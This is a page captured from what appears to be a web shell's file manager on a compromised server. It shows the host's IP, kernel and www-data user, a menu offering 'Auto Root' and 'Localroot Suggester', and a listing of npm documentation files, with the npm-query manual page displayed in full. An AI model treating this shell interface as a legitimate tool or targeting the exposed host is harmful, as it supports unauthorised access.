Linux v69820.1blu.de 4.15.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
Apache/2.4.58
Server IP : 195.90.215.149 & Your IP : 216.73.216.250
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
doc /
npm /
commands /
Delete
Unzip
Name
Size
Permission
Date
Action
npm-access.md
2.56
KB
-rw-r--r--
2022-12-07 23:13
npm-adduser.md
832
B
-rw-r--r--
2022-12-07 23:13
npm-audit.md.gz
3.33
KB
-rw-r--r--
2022-12-07 23:13
npm-bugs.md
840
B
-rw-r--r--
2022-12-07 23:13
npm-cache.md
2.73
KB
-rw-r--r--
2022-12-07 23:13
npm-ci.md
2.07
KB
-rw-r--r--
2022-12-07 23:13
npm-completion.md
924
B
-rw-r--r--
2022-12-07 23:13
npm-config.md
2.13
KB
-rw-r--r--
2022-12-07 23:13
npm-dedupe.md
2.13
KB
-rw-r--r--
2022-12-07 23:13
npm-deprecate.md
1.31
KB
-rw-r--r--
2022-12-07 23:13
npm-diff.md.gz
1.98
KB
-rw-r--r--
2022-12-07 23:13
npm-dist-tag.md
3.2
KB
-rw-r--r--
2022-12-07 23:13
npm-docs.md
820
B
-rw-r--r--
2022-12-07 23:13
npm-doctor.md.gz
2.16
KB
-rw-r--r--
2022-12-07 23:13
npm-edit.md
922
B
-rw-r--r--
2022-12-07 23:13
npm-exec.md.gz
3.3
KB
-rw-r--r--
2022-12-07 23:13
npm-explain.md
1.81
KB
-rw-r--r--
2022-12-07 23:13
npm-explore.md
880
B
-rw-r--r--
2022-12-07 23:13
npm-find-dupes.md
511
B
-rw-r--r--
2022-12-07 23:13
npm-fund.md
1.93
KB
-rw-r--r--
2022-12-07 23:13
npm-help-search.md
693
B
-rw-r--r--
2022-12-07 23:13
npm-help.md
840
B
-rw-r--r--
2022-12-07 23:13
npm-hook.md
1.87
KB
-rw-r--r--
2022-12-07 23:13
npm-init.md.gz
1.92
KB
-rw-r--r--
2022-12-07 23:13
npm-install-ci-test.md
437
B
-rw-r--r--
2022-12-07 23:13
npm-install-test.md
497
B
-rw-r--r--
2022-12-07 23:13
npm-install.md.gz
4.73
KB
-rw-r--r--
2022-12-07 23:13
npm-link.md
3.95
KB
-rw-r--r--
2022-12-07 23:13
npm-login.md
1.15
KB
-rw-r--r--
2022-12-07 23:13
npm-logout.md
949
B
-rw-r--r--
2022-12-07 23:13
npm-ls.md
3.09
KB
-rw-r--r--
2022-12-07 23:13
npm-org.md
1.01
KB
-rw-r--r--
2022-12-07 23:13
npm-outdated.md
3.77
KB
-rw-r--r--
2022-12-07 23:13
npm-owner.md
1.25
KB
-rw-r--r--
2022-12-07 23:13
npm-pack.md
948
B
-rw-r--r--
2022-12-07 23:13
npm-ping.md
726
B
-rw-r--r--
2022-12-07 23:13
npm-pkg.md.gz
1.8
KB
-rw-r--r--
2022-12-07 23:13
npm-prefix.md
839
B
-rw-r--r--
2022-12-07 23:13
npm-profile.md
2.9
KB
-rw-r--r--
2022-12-07 23:13
npm-prune.md
1.32
KB
-rw-r--r--
2022-12-07 23:13
npm-publish.md
3.58
KB
-rw-r--r--
2022-12-07 23:13
npm-query.md
2.84
KB
-rw-r--r--
2022-12-07 23:13
npm-rebuild.md
764
B
-rw-r--r--
2022-12-07 23:13
npm-repo.md
613
B
-rw-r--r--
2022-12-07 23:13
npm-restart.md
920
B
-rw-r--r--
2022-12-07 23:13
npm-root.md
686
B
-rw-r--r--
2022-12-07 23:13
npm-run-script.md.gz
1.72
KB
-rw-r--r--
2022-12-07 23:13
npm-search.md
1.56
KB
-rw-r--r--
2022-12-07 23:13
npm-shrinkwrap.md
938
B
-rw-r--r--
2022-12-07 23:13
npm-star.md
1007
B
-rw-r--r--
2022-12-07 23:13
npm-stars.md
690
B
-rw-r--r--
2022-12-07 23:13
npm-start.md
1.09
KB
-rw-r--r--
2022-12-07 23:13
npm-stop.md
791
B
-rw-r--r--
2022-12-07 23:13
npm-team.md
2.96
KB
-rw-r--r--
2022-12-07 23:13
npm-test.md
667
B
-rw-r--r--
2022-12-07 23:13
npm-token.md
3.31
KB
-rw-r--r--
2022-12-07 23:13
npm-uninstall.md
1.64
KB
-rw-r--r--
2022-12-07 23:13
npm-unpublish.md
1.47
KB
-rw-r--r--
2022-12-07 23:13
npm-unstar.md
866
B
-rw-r--r--
2022-12-07 23:13
npm-update.md
3.86
KB
-rw-r--r--
2022-12-07 23:13
npm-version.md
3.64
KB
-rw-r--r--
2022-12-07 23:13
npm-view.md
3.3
KB
-rw-r--r--
2022-12-07 23:13
npm-whoami.md
755
B
-rw-r--r--
2022-12-07 23:13
npm.md.gz
2.36
KB
-rw-r--r--
2022-12-07 23:13
npx.md.gz
2.16
KB
-rw-r--r--
2022-12-07 23:13
Save
Rename
--- title: npm-query section: 1 description: Dependency selector query --- ### Synopsis <!-- AUTOGENERATED USAGE DESCRIPTIONS --> ### Description The `npm query` command allows for usage of css selectors in order to retrieve an array of dependency objects. ### Piping npm query to other commands ```bash # find all dependencies with postinstall scripts & uninstall them npm query ":attr(scripts, [postinstall])" | jq 'map(.name)|join("\n")' -r | xargs -I {} npm uninstall {} # find all git dependencies & explain who requires them npm query ":type(git)" | jq 'map(.name)' | xargs -I {} npm why {} ``` ### Extended Use Cases & Queries ```stylus // all deps * // all direct deps :root > * // direct production deps :root > .prod // direct development deps :root > .dev // any peer dep of a direct deps :root > * > .peer // any workspace dep .workspace // all workspaces that depend on another workspace .workspace > .workspace // all workspaces that have peer deps .workspace:has(.peer) // any dep named "lodash" // equivalent to [name="lodash"] #lodash // any deps named "lodash" & within semver range ^"1.2.3" #lodash@^1.2.3 // equivalent to... [name="lodash"]:semver(^1.2.3) // get the hoisted node for a given semver range #lodash@^1.2.3:not(:deduped) // querying deps with a specific version #lodash@2.1.5 // equivalent to... [name="lodash"][version="2.1.5"] // has any deps :has(*) // deps with no other deps (ie. "leaf" nodes) :empty // manually querying git dependencies [repository^=github:], [repository^=git:], [repository^=https://github.com], [repository^=http://github.com], [repository^=https://github.com], [repository^=+git:...] // querying for all git dependencies :type(git) // get production dependencies that aren't also dev deps .prod:not(.dev) // get dependencies with specific licenses [license=MIT], [license=ISC] // find all packages that have @ruyadorno as a contributor :attr(contributors, [email=ruyadorno@github.com]) ``` ### Example Response Output - an array of dependency objects is returned which can contain multiple copies of the same package which may or may not have been linked or deduped ```json [ { "name": "", "version": "", "description": "", "homepage": "", "bugs": {}, "author": {}, "license": {}, "funding": {}, "files": [], "main": "", "browser": "", "bin": {}, "man": [], "directories": {}, "repository": {}, "scripts": {}, "config": {}, "dependencies": {}, "devDependencies": {}, "optionalDependencies": {}, "bundledDependencies": {}, "peerDependencies": {}, "peerDependenciesMeta": {}, "engines": {}, "os": [], "cpu": [], "workspaces": {}, "keywords": [], ... }, ... ``` ### Configuration <!-- AUTOGENERATED CONFIG DESCRIPTIONS --> ## See Also * [dependency selectors](/using-npm/dependency-selectors)